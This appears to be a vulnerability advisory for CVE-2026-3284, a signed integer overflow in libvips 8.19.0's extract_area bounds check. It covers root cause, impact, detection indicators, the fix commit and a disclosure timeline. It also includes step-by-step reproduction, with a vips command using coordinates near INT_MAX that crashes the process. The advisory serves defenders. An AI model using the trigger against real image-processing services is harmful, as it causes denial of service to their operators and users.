CVE-2026-3284: 
Wolfi vulnerability analysis and mitigation

CVE-2026-3284 is a signed integer overflow vulnerability in libvips 8.19.0 affecting the vips_extract_area_build function in libvips/conversion/extract.c. Reported by researcher Niebelungen-D on February 15, 2026, and publicly disclosed on February 27, 2026, the flaw allows a local attacker with low privileges to supply crafted extract_area arguments (left/top/width/height near INT_MAX) that overflow signed integer bounds checks, ultimately causing a crash (denial of service). It carries a CVSS v3.1 base score of 5.5 (Medium) (Feedly, GitHub Issue).

The root cause is CWE-190 (Integer Overflow or Wraparound) in the bounds-checking logic of vips_extract_area_build() in libvips/conversion/extract.c. The vulnerable check performs signed integer addition (extract->left + extract->width > in->Xsize and extract->top + extract->height > in->Ysize); when values near INT_MAX are supplied with --vips-max-coord 2147483647, the addition wraps around, producing a small positive result that passes the guard. The generator function vips_extract_area_gen() then applies these unchecked offsets directly to the output region (iarea.left += extract->left; iarea.top += extract->top), propagating invalid coordinates into vips_region_prepare() and ultimately into a memcpy call within vips_region_copy(), resulting in an ASAN-detected SEGV. The fix (commit 24795bb) casts operands to guint64 before comparison to prevent signed overflow (GitHub Issue, GitHub Commit).

Successful exploitation causes a denial of service via process crash (SEGV in memcpy/vips_region_copy), impacting availability with no confidentiality or integrity impact. The vulnerability is limited in scope to the local system and requires low-privilege access, making it most relevant in multi-tenant environments or services that expose libvips image processing to user-controlled inputs (e.g., web image processing pipelines using sharp, imgproxy, or similar wrappers). There is no evidence of lateral movement potential or data exposure risk (Feedly, GitHub Issue).

A proof-of-concept exploit was publicly disclosed alongside the bug report on GitHub (Issue #4879), demonstrating the crash via the standard vips CLI with crafted arguments. The EPSS score is approximately 0.013% (0.000130), indicating very low probability of widespread exploitation. There is no evidence of in-the-wild exploitation, no threat actor attribution, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The CVSSv4 exploit maturity is rated as PROOF_OF_CONCEPT (Feedly, GitHub Issue).

1. Identify target: Locate a system running libvips 8.19.0 with local access, or a service that passes user-controlled image crop parameters to libvips (e.g., a Node.js app using sharp, or a CLI wrapper).
2. Build or obtain a vulnerable binary: If testing locally, build libvips 8.19.0 with ASAN enabled: meson setup build-asan-only -Ddebug=true -Db_sanitize=address && meson compile -C build-asan-only.
3. Prepare a minimal valid input image: ASAN_OPTIONS=detect_leaks=0 ./build-asan-only/tools/vips black /tmp/extract_area_in.v 1 1
4. Trigger the integer overflow: Invoke extract_area with coordinates near INT_MAX using the --vips-max-coord flag to enable large coordinate values:

ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \
LSAN_OPTIONS=detect_leaks=0 \
./build-asan-only/tools/vips --vips-max-coord 2147483647 \
extract_area /tmp/extract_area_in.v /tmp/extract_area_out.v 2147483647 0 2 1

5. Observe crash: The signed addition left + width (2147483647 + 2) overflows, bypasses the bounds check, and propagates invalid coordinates into vips_region_copy, causing a SEGV in memcpy (GitHub Issue).

• Process: Unexpected crashes or segmentation faults in processes using libvips (e.g., vips, sharp, imgproxy), particularly in worker threads handling image crop/extract operations.
• Logs: Application logs showing errors such as AddressSanitizer: SEGV on unknown address or stack traces referencing vips_region_copy, vips_region_prepare_to, or wbuffer_work_fn in libvips.
• System: Core dump files generated by libvips worker threads (Thread T3) with crash addresses in libc.so memcpy routines.
• Input patterns: Requests to image processing endpoints supplying extract_area parameters with values at or near 2147483647 (INT_MAX), especially combined with --vips-max-coord 2147483647 CLI flags (GitHub Issue).

The fix is available as commit 24795bb3d19d84f7b6f5ed86451ad556c8f2fe70, merged into the libvips:8.18 branch via Pull Request #4887 on February 19, 2026. Users should upgrade to a patched release beyond 8.19.0 (the fix was backported to the 8.18.x line). As a workaround, restrict local access privileges to prevent untrusted users from supplying arbitrary extract_area arguments, and avoid exposing libvips image processing endpoints to user-controlled crop coordinates without server-side validation of coordinate ranges (GitHub PR, GitHub Commit).

The vulnerability was reported by researcher Niebelungen-D directly to the libvips GitHub repository and was promptly addressed by maintainer lovell within four days (reported Feb 15, patched Feb 19, 2026). The fix was reviewed and approved by contributor kleisauke. The issue received standard community tracking across vulnerability databases (VulDB, CIRCL, ENISA EUVD) but generated no significant broader media coverage, consistent with its medium severity and local-only attack vector (GitHub Issue, GitHub PR).